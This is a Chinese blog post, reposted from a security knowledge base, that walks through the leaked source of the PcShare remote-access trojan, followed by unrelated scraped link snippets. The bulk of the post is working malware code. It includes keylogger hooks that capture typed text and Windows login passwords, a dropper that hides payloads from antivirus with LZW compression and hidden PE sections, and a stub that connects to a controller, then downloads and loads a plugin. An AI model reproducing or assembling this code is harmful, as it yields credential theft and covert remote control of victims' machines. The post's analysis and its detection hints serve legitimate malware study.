Pcshare远控源码偏重分析(一)

2023-11-16

0x00背景


PcShare是一款功能强大的远程管理软件,可以在内网、外网任意位置随意管理需要的远程主机,该软件是由国内安全爱好者无可非议开发。在当时这款远控在大家应该比较熟悉了,VC编译器调出来的的小体积全功能木马。相比Delphi的灰鸽子真是碉堡了!

下面我们使用具有通用性的会员版本为例,进行源码分析。其他企业版本和2011版应该大同小异,有兴趣的可以自行研究。由于篇幅限制,我们主要关注一些关键代码流程,核心代码、及加密解密部分。

0x01 代码结构


作者开源的源码包大致目录结构:

C:\PCSHARE
├─2011年版
├─企业定做
│  ├─PcLKey
│  ├─PcMain
│  ├─PcMake
│  ├─PcShare
│  └─PcStart
├─会员版本
│  ├─PcLKey
│  ├─PcMain
│  ├─PcMake
│  ├─PcShare
│  └─PcStart
├─版本工具
│  ├─FileInsert
│  ├─InSertPsString
│  ├─NetServer
│  ├─PcFileComb
│  ├─PcSocksServer
│  ├─PsProxy
│  ├─SrcModifyTool
│  ├─StrEntry
│  └─UpPcShare
└─界面资源
    ├─tool
    └─[XTreme.Toolkit.9.6.MFC].Xtreme.Toolkit.Pro.v9.60
复制代码

文件大致作用:

PcLKey键盘记录插件

PcStart可执行安装主程序

PcMake 连接型DLL小马

PcMain 主功能控制插件

PcShare 主控程序带界面

我们先看下会员版本配置界面,然后在开始分析。你可以发现会员版本和早期拿到的版本不一样,有一个捆绑文件功能,而这个功能有一个亮点“压缩编码”。想知道?继续看

PcLKey键盘记录插件 编译文件名:PcLkey.dll 这款键盘记录插件的特色就是可以记录中文英文等,而且可以尝试记录系统登录密码。服务启动SYSTEM权限的,登陆系统密码记录应该是支持XP/2003的,具体大家测测看。

以下是启动监控中文和英文及登录窗口输入记录,处理流程代码。 离线键盘记录数据文件以*.dll.txt存储,和dll一个目录。

#!c++
    //数据文件名称
    *pEnd = 0x00;
    lstrcat(m_ModuleFileName, ".txt");
    strcpy(m_KeyFilePath, m_ModuleFileName);

    HDESK hOldDesktop = GetThreadDesktop(GetCurrentThreadId());

    //监控中文和英文
    HDESK hNewDesktop = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED);
    if(hNewDesktop != NULL)
    {
        SetThreadDesktop(hNewDesktop);
    }

    if(NULL == g_hKeyHK_CN)
    {
        g_hKeyHK_CN = SetWindowsHookExW(WH_CALLWNDPROC, HOOK_WM_IME_COMPOSITION_Proc, ghInstance, 0);
    }
    if(NULL == g_hKeyHK_EN)
    {
        g_hKeyHK_EN = SetWindowsHookExW(WH_GETMESSAGE, HOOK_WM_CHAR_Proc, ghInstance, 0);
    }

    GetModuleFileName(NULL, m_ModuleFileName, 255);
    CharLower(m_ModuleFileName);
    if(strstr(m_ModuleFileName, "svchost.exe") != NULL)
    {
        //监控登录窗口
        hNewDesktop = OpenDesktop("Winlogon", 0, FALSE, MAXIMUM_ALLOWED);
        if(hNewDesktop != NULL)
        {
            SetThreadDesktop(hNewDesktop);
        }
        if(NULL == g_hKeyHK_LG)
        {
            g_hKeyHK_LG = SetWindowsHookExW(WH_GETMESSAGE, HOOK_WM_CHAR_LOGIN_Proc, ghInstance, 0);
        }
        SetThreadDesktop(hOldDesktop);
    }
复制代码

英文记录核心代码:WH_GETMESSAGE全局钩子,大家的代码应该都差不多,这里主要是处理回车符和删除符。

#!c++
LRESULT CALLBACK HOOK_WM_CHAR_Proc (int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0 )
    {
        PMSG pMsg = (PMSG) lParam;
        if(pMsg->message == WM_CHAR && wParam == PM_REMOVE && GetTickCount() - nCnKeyTimeOut > 5)
        {
            nEnKeyTimeOut = GetTickCount();
            switch(pMsg->wParam)
            {
                case VK_BACK:
                    InsertBuffer(L"[<=]", KEY_INSERT_NORMAL);
                    break;

                case VK_RETURN:
                    InsertBuffer(L"\r\n", KEY_INSERT_NORMAL);
                    break;

                default :
                    {
                        WCHAR m_Text[3] = {0};
                        memcpy(m_Text, &pMsg->wParam, sizeof(WPARAM));
                        InsertBuffer(m_Text, KEY_INSERT_NORMAL);
                    }
                    break;
            }
        }
    }
    return CallNextHookEx(g_hKeyHK_EN, nCode, wParam, lParam);
}
复制代码

中文记录核心代码:主要用到WH_CALLWNDPROC全局钩子处理WM_IME_COMPOSITION消息,通过ImmGetCompositionStringW函数获取字符。

#!c++
LRESULT CALLBACK HOOK_WM_IME_COMPOSITION_Proc (int nCode, WPARAM wParam, LPARAM lParam)
{
    CWPSTRUCT* pMsg = (CWPSTRUCT*) lParam;
    if(m_IsLogin)
    {
        //已经登录
        m_IsLogin = FALSE;

        //需要保存登录密码
        InsertBuffer(L"\r", KEY_INSERT_LOGIN_END);
        WCHAR m_UserName[256] = L"当前用户:";
        DWORD len = 256 - lstrlenW(m_UserName) - 1;
        GetUserNameW(m_UserName + lstrlenW(m_UserName), &len);
        lstrcatW(m_UserName, L" 用户密码:");
        InsertBuffer(m_UserName, KEY_INSERT_LOGIN_END);
        InsertBuffer(L"\n", KEY_INSERT_LOGIN_END);
    }

    if(nCode == HC_ACTION)
    {
        switch (pMsg->message)
        {
            case WM_IME_COMPOSITION:
            {
                if(GetTickCount() - nEnKeyTimeOut > 5)
                {
                    nCnKeyTimeOut = GetTickCount();
                    HWND hWnd = GetForegroundWindow();
                    HIMC hIMC = ImmGetContext(hWnd);
                    memset(g_srcBuf, 0, 256 * sizeof(WCHAR));
                    DWORD dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
                    ImmGetCompositionStringW(hIMC, GCS_RESULTSTR, g_srcBuf, dwSize);
                    if(StrCmpW(g_srcBuf, g_destBuf) != 0)
                    {
                        InsertBuffer(g_srcBuf, KEY_INSERT_NORMAL);
                        lstrcpyW(g_destBuf, g_srcBuf);
                    }
                    if(hIMC)
                    {
                        ImmReleaseContext(hWnd, hIMC);
                    }
                }
            }
            break;
        }
    }
    return(CallNextHookEx(g_hKeyHK_CN, nCode, wParam, lParam));
}
复制代码

系统登录记录核心代码:这个和英文记录查不多主要涉及就是用户桌面切换,这里不需要处理回车因为按回车就等于点确定登陆了。

#!c++
LRESULT CALLBACK HOOK_WM_CHAR_LOGIN_Proc (int nCode, WPARAM wParam, LPARAM lParam)
{
    //进入登录窗口
    if(nCode >= 0 )
    {
        PMSG pMsg = (PMSG) lParam;
        if(pMsg->message == WM_CHAR)
        {
            m_IsLogin = TRUE;
            switch(pMsg->wParam)
            {
                case VK_BACK:
                    InsertBuffer(L"[<=]", KEY_INSERT_LOGIN);
                    break;

                default :
                    {
                        WCHAR m_Text[3] = {0};
                        memcpy(m_Text, &pMsg->wParam, sizeof(WPARAM));
                        InsertBuffer(m_Text, KEY_INSERT_LOGIN);
                    }
                    break;
            }
        }
    }
    return CallNextHookEx(g_hKeyHK_EN, nCode, wParam, lParam);
}
复制代码

PcStart可执行安装主程序 编译文件名:PcInit.exe

这个程序主要作用就是从EXE中释放DLL和SYS文件等,安装服务并调用执行主要功能DLL木马上线。早期这款远控特色就是有驱动,可以隐藏连接和注册表等。可惜这种泛滥Rootkit代码维持没多久就被杀毒列入监控范围,然后就没有然后了。

用户配置生成数据结构体,和配置器的需要定义的内容差不多。

#!c++
// 该结构仅在生成肉鸡文件时使用,不用来通讯
// 该结构改成ANSI版的更好
typedef struct _PSDLLINFO_
{

//定长
    UINT m_ServerPort;
    UINT m_DelayTime;
    UINT m_IsDel;
    UINT m_IsKeyMon;
    UINT m_PassWord;
    UINT m_DllFileLen;
    UINT m_SysFileLen;
    UINT m_ComFileLen;
    UINT m_CreateFlag;
    UINT m_DirAddr;

//变长
    char m_ServerAddr[256];     // TCHAR to char [9/19/2007 zhaiyinwei]
    char m_DdnsUrl[256];
    char m_Title[64];
    char m_SysName[24];
    char m_ServiceName[24];     //服务名称
    char m_ServiceTitle[256];   //服务描述
    char m_ServiceView[32];     //服务显示名称
    char m_SoftVer[32];         //软件版本
    char m_Group[32];           //用户分组

//客户端保存
    UINT m_IsSys;
    UINT m_ExtInfo;
    char m_ID[18];
    char m_ExeFilePath[256];
}PSDLLINFO, *LPPSDLLINFO;
复制代码

0x02 多功能的详解


下面看看作者的debug版本调试用的代码,更形象一些。主要数据就是上线地址、端口、安装服务名称、服务显示名称、服务描述、上线分组、备注、重连超时、软件版本、上线密码等等

下面这段代码可以看得出会员版本和普通版本区别,

1、使用的DLL不一样,会员版是完整版的DLL、普通版本是精简版的DLL。

2、主函数名的区别,会员版本是Vip20101125,免费版本是ServiceMain。

3、会员版本直接带完整控制插件DLL,免费版会先建立TCP连接传输控制插件(就是小马带大马减小体积),这个后续在提到。

PcStart还有三处值得注意的亮点:

1 DLL和SYS文件数据加密存储,捆绑合并文件使用LZW编码压缩。避免被杀毒软件轻易的识别出捆绑(内置)PE文件,对躲避查杀有一定效果。但是有些强悍的杀毒还是能通过虚拟机脱壳或算法识别解码后将其藏匿的文件进行查杀。攻防最头痛莫过于对手太强大,所以现在手段不高明基本没有生存空间了。

#!c++
FCLzw lzw;  
//附加信息数据
BYTE* pZipInfoData = ((BYTE*) pSaveInfo) + sizeof(MYSAVEFILEINFO);
DWORD nSrcInfoDataLen = 0;
BYTE* pSrcInfoData = NULL;
lzw.PcUnZip(pZipInfoData, &pSrcInfoData, &nSrcInfoDataLen);
CopyMemory(pInfo, pSrcInfoData, nSrcInfoDataLen);
delete [] pSrcInfoData;

if(IsFileComb)
{
    DWORD nSrcComDataLen = 0;
    BYTE* pZipComData = pZipInfoData + pSaveInfo->m_Size + pInfo->m_DllFileLen + pInfo->m_SysFileLen;
    BYTE* pComFileData = NULL;
    lzw.PcUnZip(pZipComData, &pComFileData, &nSrcComDataLen);
    delete [] pFileData;

    //修改原始文件
    while(1)
    {
        if(WriteMyFile(pCmdLines, pComFileData, nSrcComDataLen))
        {
            break;
        }
        Sleep(50);
    }
复制代码

2 修改利用PE文件标志来识别文件类型,分析过程中我发现一处不错的思路。修改PE文件的标识“This program cannot be run in DOS mode.”中的“This”位置来标注这是一个什么类型文件,方便后期文件处理和执行。这是固定码可以将此处加入查杀特征库就可以识别了,快速扫描有点用,准确识别还是另外在找一处吧。

定义:

#!c++
#define PS_START_WIN7       11001       //win7启动
#define PS_START_UPDATE     11002       //更新客户端
#define PS_START_FILECOMB   11003       //文件捆绑
#define PS_START_FILECOPY   11004       //文件捆绑拷贝

BYTE* GetCmdType()
{
    char m_FileName[256] = {0};
    GetModuleFileName(NULL, m_FileName, 255);
    HANDLE hFile = CreateFile(m_FileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        return NULL;
    }
    DWORD nReadLen = 0;
    DWORD nFileLen = GetFileSize(hFile, NULL);
    CloseHandle(hFile);

    //修改标志
    //This
    char m_TempStr[256] = {0};
    m_TempStr[0] = 'T';
    m_TempStr[1] = 'h';
    m_TempStr[2] = 'i';
    m_TempStr[3] = 's';
    m_TempStr[4] = 0x00;

    //修改EXE数据标志
    BYTE* pData = (BYTE*) GetModuleHandle(NULL);
    BYTE* pCmd = NULL;
    for(DWORD i = 0; i < nFileLen; i++)
    {
        if(memcmp(&pData[i], m_TempStr, 4) == 0)
        {
            pCmd = (BYTE*) &pData[i + 4];
            break;
        }
    }
    return pCmd;
}
复制代码

验证:

3 运行成功后加密配置数据修改DLL 文件,生成一段随机作为Key。数据和Key异或加密存储,放在PE空区段里面。Pcshare多次利用空区段存放数据,用的时候在找标记“PS_VER_ULONGLONG”找大小在读取出来,避免“资源文件存文件”、“附加数据存文件”等传统捆绑打包和携带配置文件的方式,被杀毒启发式扫描检测出来。

#!c++
//取随机数据
    srand((unsigned) time(NULL));
    for(i = 0; i < nInfoDataLen; i++)
    {
        pKeyData[i] = rand();
    }

    //加密数据
    for(i = 0; i < nInfoDataLen; i++)
    {
        pTmpData[i] = pTmpData[i] ^ pKeyData[i];
    }
    AddDataToPe(pSaveData, nInfoDataLen * 2 + nStrSize, pDllFileData, nSrcDllDataLen, m_DllFilePath);
复制代码

AddDataToPe代码片段:

#!c++
    // 新节的RVA
    pNewSec->VirtualAddress = pPE_Header->OptionalHeader.SizeOfImage;

    //SizeOfRawData在EXE文件中是对齐到FileAlignMent的整数倍的值
    pNewSec->SizeOfRawData = DataLen;
    pNewSec->SizeOfRawData /= pPE_Header->OptionalHeader.FileAlignment;
    pNewSec->SizeOfRawData++;
    pNewSec->SizeOfRawData *= pPE_Header->OptionalHeader.FileAlignment;

    // 设置新节的 PointerToRawData
    pNewSec->PointerToRawData = nPeLen;

    // 设置新节的属性
    pNewSec->Characteristics = 0x40000040;      //可读,,已初始化

    // 增加NumberOfSections
    pPE_Header->FileHeader.NumberOfSections++;

    // 增加SizeOfImage
    pPE_Header->OptionalHeader.SizeOfImage += 
        (pNewSec->Misc.VirtualSize/pPE_Header->OptionalHeader.SectionAlignment + 1) * 
        pPE_Header->OptionalHeader.SectionAlignment;

    // 保存到文件
    HANDLE hFile = CreateFile(
        pPeFile,
        GENERIC_WRITE,
        FILE_SHARE_READ,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL );
复制代码

PcMake 连接型DLL小马 编译文件名:PcMake.dll

通过源码分析Pcshare共有3个插件1、控制插件(即:PcMain.dll) 2、键盘记录插件(PcLkey.dll) 3、Sock5代理插件 后两个插件是会员版本专享。

PcMake这个插件初始化连接是使用TCP连接到控制端,然后下载控制插件。会员版本采用直接捆绑打包PcMain.dll控制插件方式,所以体积上会大一些。

这个小马插件特色不多,下面我主要分析的解密配置信息部分代码和上线代码。

定义:

#!c++
#define PS_VER_ULONGLONG        0x1234567812345678

BOOL MyMainFunc::GetFileSaveInfo(LPVOID pInfoData, DWORD nInfoLen, HINSTANCE hInst)
{
    //文件数据
    DWORD nReadLen = 0;
    char m_DllName[MAX_PATH] = {0};
    GetModuleFileName(hInst, m_DllName, 200);
    HANDLE hFile = CreateFile(m_DllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }
    DWORD nFileLen = GetFileSize(hFile, NULL);
    BYTE* pFileData = new BYTE[nFileLen];
    ReadFile(hFile, pFileData, nFileLen, &nReadLen, NULL);
    CloseHandle(hFile);

    //查找存储文件标志
    BYTE* pSaveInfo = NULL;
    for(DWORD i = nFileLen - sizeof(ULONGLONG); i > sizeof(ULONGLONG); i--)
    {
        if(*(ULONGLONG*) &pFileData[i] == PS_VER_ULONGLONG)
        {
            pSaveInfo = &pFileData[i] + sizeof(ULONGLONG);
            break;
        }
    }
    if(pSaveInfo == NULL)
    {
        delete [] pFileData;
        return FALSE;
    }

    BYTE* pKeyData = pSaveInfo + sizeof(PSDLLINFO);
    CopyMemory(pInfoData, pSaveInfo, sizeof(PSDLLINFO));

    BYTE* pSrcData = (BYTE*) pInfoData;

    //还原数据
    for(i = 0; i < sizeof(PSDLLINFO); i++)
    {
        pSrcData[i] = pSrcData[i] ^ pKeyData[i];
    }
    delete [] pFileData;

    return TRUE;
}
复制代码

运行后,查找存储配置的标志“0x1234567812345678”(PcStart成功执行后写入的配置信息),找到后将密钥和配置读取出来,循环所有配置加密数据和密钥进行异或Xor解密。

验证方法:16进制编辑工具搜索16进制“7856341278563412”

Ollydbg调试印证:

#!c++
#define PS_ENTRY_COMM_KEY       0xf7                //简单异或
#define PS_USER_ID          0x3030303030303030          //VIP版本

BOOL CMyClientTran::Create(DWORD nCmd, char* m_ServerAddr, UINT m_ServerPort, char* pUrl, UINT nPassWord)
{
    Close();

    StrCpy(m_Addr, m_ServerAddr);
    m_Port = m_ServerPort;

    //查看是否有ddns
    if(lstrlen(pUrl) != 0)
    {
        GetRealServerInfo(pUrl, m_Addr, &m_Port);
    }

    //连接到服务器
    m_Socket = GetConnectSocket(m_Addr, m_Port);
    if(m_Socket == NULL)
    {
        return FALSE;
    }

    //协商初始数据
    LOGININFO m_LoginInfo = {0};
    m_LoginInfo.m_Cmd = nCmd;
    m_LoginInfo.m_hWnd = (HWND) nPassWord;
    m_LoginInfo.m_UserId = PS_USER_ID;
    EncryptByte(&m_LoginInfo, sizeof(LOGININFO));
    return SendData(&m_LoginInfo, sizeof(LOGININFO));
}

void CMyClientTran::EncryptByte(LPVOID pData, DWORD nLen)
{
    BYTE* pTmpData = (BYTE*) pData;
    for(DWORD i = 0; i < nLen; i++)
    {
        pTmpData[i] = pTmpData[i] ^ PS_ENTRY_COMM_KEY;  
    }
}
复制代码

连接控制端成功后发送软件版本和上线密码(传输的数据使用异或F7加密,有点弱爆的感觉。),然后从主控端下载控制插件。

#!c++
void CMyWorkMoudle::MakeModFileMd5(LPCTSTR pFileName, BYTE* sMd5Str)
{
    HANDLE hFile = CreateFile(pFileName, GENERIC_READ, FILE_SHARE_READ,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        return;
    }

    DWORD nReadLen = 0;
    DWORD nFileLen = GetFileSize(hFile, NULL);
    BYTE* pFileData = new BYTE[nFileLen];
    ReadFile(hFile, pFileData, nFileLen, &nReadLen, NULL);
    CloseHandle(hFile);

    //校验本地文件
    MD5_CTX context = {0};
    MD5Init (&context);
    MD5Update (&context, pFileData, nFileLen);
    MD5Final (&context);

    //保存校验码
    CopyMemory(sMd5Str, &context, 16);

    delete [] pFileData;
}   

HMODULE CMyWorkMoudle::GetModFile(char* pFilePath, UINT nCmd)
{
    //MD5校验
    BYTE m_DllFileMd5[24] = {0};
    MakeModFileMd5(m_ModFilePath, m_DllFileMd5);

    //连接服务器,上送本地文件校验码
    CMyClientTran m_Tran;
    if(!m_Tran.Create(nCmd, m_DllInfo.m_ServerAddr, m_DllInfo.m_ServerPort, 
        m_DllInfo.m_DdnsUrl, m_DllInfo.m_PassWord) || !m_Tran.SendData(m_DllFileMd5, 16))
    {
        return NULL;
    }

    //接收文件长度
    DWORD nFileLen = 0;
    if(!m_Tran.RecvData(&nFileLen, sizeof(DWORD)))
    {
        return NULL;
    }

    //查看是否需要接收文件
    if(nFileLen == 0)
    {
        return LoadLibrary(pFilePath);
    }

    //接收文件
    BYTE* pFileData = new BYTE[nFileLen + 65535];
    ZeroMemory(pFileData, nFileLen + 65535);
    if(!m_Tran.RecvData(pFileData, nFileLen))
    {
        delete [] pFileData;
        return NULL;
    }

    //解压文件
    FCLzw lzw;
    if(!lzw.PcSaveData(pFileData, pFilePath))
    {
        delete [] pFileData;
        return NULL;
    }
    delete [] pFileData;

    //装载DLL文件
    return LoadLibrary(pFilePath);
}
复制代码

校验插件文件完整性使用MD5算法,判断是否与控制端最新版本相符。相同则不在传输,貌似MD5算法目前不是太安全了吧。

0x03 文章小结


Pcshare这款远控的代码规范方面还是比较工整的,代码缩进而且还有大量注释。非常适合初学入门和二次开发。据说早期有HTTP协议的版本但是现在代码丢失了,可惜了这款2010款是TCP版本对企业防火墙穿墙能力有限。比较有特色的思路:1、LZW编码压缩 2、改PE的DOS头“This”给文件做标记 3、利用空区段存放数据,看得出作者对安装用的EXE处理上花了不少功夫。

PcMain 主功能控制插件、PcShare 主控程序带界面将在第2篇中在分析,预知后事如何,请听下回分解。


作者:乌云知识库
链接:https://juejin.cn/post/6844903571947782157
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Pcshare远控源码偏重分析(一) 的相关文章

  • 从父类调用子类方法

    a doStuff 方法是否可以在不编辑 A 类的情况下打印 B did stuff 如果是这样 我该怎么做 class Program static void Main string args A a new A B b new B a
  • linux perf:如何解释和查找热点

    我尝试了linux perf https perf wiki kernel org index php Main Page今天很实用 但在解释其结果时遇到了困难 我习惯了 valgrind 的 callgrind 这当然是与基于采样的 pe
  • 实时服务器上的 woff 字体 MIME 类型错误

    我有一个 asp net MVC 4 网站 我在其中使用 woff 字体 在 VS IIS 上运行时一切正常 然而 当我将 pate 上传到 1and1 托管 实时服务器 时 我得到以下信息 网络错误 404 未找到 http www co
  • Newtonsoft JSON PreserveReferences处理自定义等于用法

    我目前在使用 Newtonsoft Json 时遇到一些问题 我想要的很简单 将要序列化的对象与所有属性和子属性进行比较以确保相等 我现在尝试创建自己的 EqualityComparer 但它仅与父对象的属性进行比较 另外 我尝试编写自己的
  • 将布尔参数传递给 SQL Server 存储过程

    我早些时候问过这个问题 我以为我找到了问题所在 但我没有 我在将布尔参数传递给存储过程时遇到问题 这是我的 C 代码 public bool upload false protected void showDate object sende
  • WPF 中的调度程序和异步等待

    我正在尝试学习 WPF C 中的异步编程 但我陷入了异步编程和使用调度程序的困境 它们是不同的还是在相同的场景中使用 我愿意简短地回答这个问题 以免含糊不清 因为我知道我混淆了 WPF 中的概念和函数 但还不足以在功能上正确使用它 我在这里
  • 获取没有非标准端口的原始 url (C#)

    第一个问题 环境 MVC C AppHarbor Problem 我正在调用 openid 提供商 并根据域生成绝对回调 url 在我的本地机器上 如果我点击的话 效果很好http localhost 12345 login Request
  • C#:如何防止主窗体过早显示

    在我的 main 方法中 我像往常一样启动主窗体 Application EnableVisualStyles Application SetCompatibleTextRenderingDefault false Application
  • Web API - 访问 DbContext 类中的 HttpContext

    在我的 C Web API 应用程序中 我添加了CreatedDate and CreatedBy所有表中的列 现在 每当在任何表中添加新记录时 我想填充这些列 为此目的我已经覆盖SaveChanges and SaveChangesAsy
  • 指针减法混乱

    当我们从另一个指针中减去一个指针时 差值不等于它们相距多少字节 而是等于它们相距多少个整数 如果指向整数 为什么这样 这个想法是你指向内存块 06 07 08 09 10 11 mem 18 24 17 53 7 14 data 如果你有i
  • 将自定义元数据添加到 jpeg 文件

    我正在开发一个图像处理项目 C 我需要在处理完成后将自定义元数据写入 jpeg 文件 我怎样才能做到这一点 有没有可用的图书馆可以做到这一点 如果您正在谈论 EXIF 元数据 您可能需要查看exiv2 http www exiv2 org
  • Github Action 在运行可执行文件时卡住

    我正在尝试设置运行google tests on a C repository using Github Actions正在运行的Windows Latest 构建过程完成 但是当运行测试时 它被卡住并且不执行从生成的可执行文件Visual
  • for循环中计数器变量的范围是多少?

    我在 Visual Studio 2008 中收到以下错误 Error 1 A local variable named i cannot be declared in this scope because it would give a
  • Qt表格小部件,删除行的按钮

    我有一个 QTableWidget 对于所有行 我将一列的 setCellWidget 设置为按钮 我想将此按钮连接到删除该行的函数 我尝试了这段代码 它不起作用 因为如果我只是单击按钮 我不会将当前行设置为按钮的行 ui gt table
  • 将 unsigned char * (uint8_t *) 转换为 const char *

    我有一个带有 uint8 t 参数的函数 uint8 t ihex decode uint8 t in size t len uint8 t out uint8 t i hn ln for i 0 i lt len i 2 hn in i
  • 32 位到 64 位内联汇编移植

    我有一段 C 代码 在 GNU Linux 环境下用 g 编译 它加载一个函数指针 它如何执行并不重要 使用一些内联汇编将一些参数推送到堆栈上 然后调用该函数 代码如下 unsigned long stack 1 23 33 43 save
  • 为什么 C# Math.Ceiling 向下舍入?

    我今天过得很艰难 但有些事情不太对劲 在我的 C 代码中 我有这样的内容 Math Ceiling decimal this TotalRecordCount this PageSize Where int TotalRecordCount
  • Process.Start 阻塞

    我正在调用 Process Start 但它会阻止当前线程 pInfo new ProcessStartInfo C Windows notepad exe Start process mProcess new Process mProce
  • 限制C#中的并行线程数

    我正在编写一个 C 程序来生成并通过 FTP 上传 50 万个文件 我想并行处理4个文件 因为机器有4个核心 文件生成需要更长的时间 是否可以将以下 Powershell 示例转换为 C 或者是否有更好的框架 例如 C 中的 Actor 框
  • 防止索引超出范围错误

    我想编写对某些条件的检查 而不必使用 try catch 并且我想避免出现 Index Out of Range 错误的可能性 if array Element 0 Object Length gt 0 array Element 1 Ob

随机推荐

  • 【纯前端实现页面总结一】-- 导航栏布局以及点击展示不同界面+iframe标签引入的页面自适应高度(在html中引入另一个html文件)【已解决】

    说明 jQuery实现 点击导航栏变换iframe标签引入的页面 默认展示首页 css样式默认应用于 首页 导航栏 点击切换页面 并且导航栏样式改变 一 页面切换效果如下 小声逼逼 关于录屏软件的推荐 这篇博客里面有的哦 没有水印哒 二 h
  • platform下的js分析_3

    目录 主要包含 CCSAXParser js CCSAXParser js preprocess class js CCClass js CCClass js中 使用较多的函数 主要包含 CCSAXParser js CCSAXParser
  • 开中断和关中断

    关中断和开中断其实就是像我们生活中的开关一样 关中断是为了保护一些不能中途停止执行的程序而设计的 计算机的CPU进行的是时分复用 即每个时钟周期内 CPU只能执行一条指令 在多道程序设计的环境下 就是我们通常所说的多个程序同时运行时 CPU
  • 如何在 Windows Server 上搭建 Git Repository Server?

    Git 作为开发工具之一 主要用于辅助团队开发的版本控制等 相似的工具大家也或许接触过 CVS 和 SVN 等 最为大家耳熟能详的或许就是 Github 和中国的 Gitee 了 但是网上的资料都围绕着 Linux 的环境 而没有过多考虑过
  • SVF——C/C++指针分析/(数据)依赖分析框架

    这篇文章包括 SVF介绍 SVF源码解读 SVF优势与不足 如何扩展改进 文章包括一些个人观点 若觉得有误请留言纠正 感谢 在这篇文章之前强烈推荐看我公众号之前推的一篇文章 CG0 2011 Flow sensitive pointer a
  • 虚拟机配置时间同步-ntp

    安装ntp yum y install ntp 验证是否安装成功 ntpd version 依次执行以下命令即可 ntpdate u ntp sjtu edu cn cp usr share zoneinfo Asia Shanghai e
  • 7 款炫酷的 VSCode 主题扩展

    关注后回复 进群 拉你进程序员交流群 作者丨小集 来源丨小集 ID zsxjtip 在 VSCode 中 安装自定义主题和图标包可以彻底改变 VSCode 的外观 VSCode 有数千种不同的包可用 在这里 我们推荐几个不错的主题扩展 Gi
  • 这是啥SQL,室友看了人傻了

    文章目录 SQLite适应常规基本应用场景 SQLite面对复杂场景尚有不足 SPL全面支持各种数据源 SPL的计算能力更强大 优化体系结构 SPL资料 可以在Java应用中嵌入的数据引擎看起来比较丰富 但其实并不容易选择 Redis计算能
  • 【数据结构】五种用于查询的数据结构 性能测试

    github项目地址 1 总体说明 本报告一共实现了五种用于查询的数据结构 二叉搜索树 二叉平衡树 二叉伸展树 跳表 数组 在完成各种数据的增删查功能的基础上 对于不同数据结构的查询效率进行了评测与对比 对空间性能进行了理论的分析 大致实验
  • AngularJS UI Router(ui.router)嵌套视图(Nested Views)

    1 dom结构 index html
  • UE_移动端测试使用

    教程流程 参照官方文档 android篇 https docs unrealengine com 5 1 zh CN android development requirements for unreal engine https docs
  • 电巢携手陕西理工大学“硬件研发岗位岗前项目实训”顺利开班!

    为深化校企合作 产教融合助力新工科建设 提升学生工程实践能力 电巢工程能力实训班按照不同岗位类别 匹配对应的企业岗位任职能力要求对学生开展分级培养 以产业需求为导向 培养创新型 应用型人才 7月27日下午3时 深圳电巢联合陕西理工大学物理与
  • dc-3 靶机渗透学习

    靶机修复 dc 3靶机可能会存在扫不到靶机ip的问题 可以参考下面这篇博客解决 编辑网卡配置文件时命令有点错误 vim etc network interfacers 改成 vim etc network interfaces Vulnhu
  • 【SpringCloudAlibaba】Nacos服务注册和配置中心配合nginx负载

    文章目录 概述 注册中心 POM YML 启动类 CAP 配置中心 POM YML 启动类 ConfigClientController Nacos中的匹配规则 三种方案加载配置 示例 集群部署 概述 部署模式 修改derby为mysql
  • Fiddler抓包工具配置+Jmeter基本使用

    目录 一 Fiddler抓包工具的配置和使用 局域网络配置 Fiddler配置 Fiddler抓包实例 二 Jmeter的基本使用 Jmeter的安装配置 第一个Jmeter脚本 一 Fiddler抓包工具的配置和使用 在编写网关自动化脚本
  • GCC入门详解

    一 基本概念 gcc编译源程序分为4个阶段 预处理 编译 汇编 链接 1 预处理阶段 将头文件的内容插入到源代码中 替换宏定义 去掉注释等 预处理后的文件后缀名为 i 2 编译阶段 编译器将预处理后的文件翻译成汇编代码文件 后缀名为 s 3
  • uni-app 连接逍遥模拟器 安卓模拟器 不显示 找不到 端口映射

    最近公司为了让我全面发展 给了一个小活练练手 由于Android和ios开发的小伙伴比较忙 我被拉来开发一个App 由于需要多端使用 最后选择使用uni app 来开发 刚开始都是在h5页面来调试 最后测试App的时候需要使用安卓模拟器来调
  • GameMode问题

    GameMode问题 1 缘由 初始化了两个关卡 一个登录关卡 一个内容关卡 配置了两个GameMode 分别在关卡中设置好了GameMode 通过调用OpenLevel实现关卡跳转 如下图 然 运行过程中 关卡完成了跳转 进入内容关卡后G
  • MusicGen一键音乐风格迁移

    想象一下 您可以随心所欲地创作轻快的乡村曲风 缠绵的蓝调 史诗般的管弦乐 视频BGM创作之路上 再也不会有任何阻碍 01 什么是MusicGen Meta MusicGen建立在强大的Transformer模型的基础上 追随ChatGPT等
  • Pcshare远控源码偏重分析(一)

    0x00背景 PcShare是一款功能强大的远程管理软件 可以在内网 外网任意位置随意管理需要的远程主机 该软件是由国内安全爱好者无可非议开发 在当时这款远控在大家应该比较熟悉了 VC编译器调出来的的小体积全功能木马 相比Delphi的灰鸽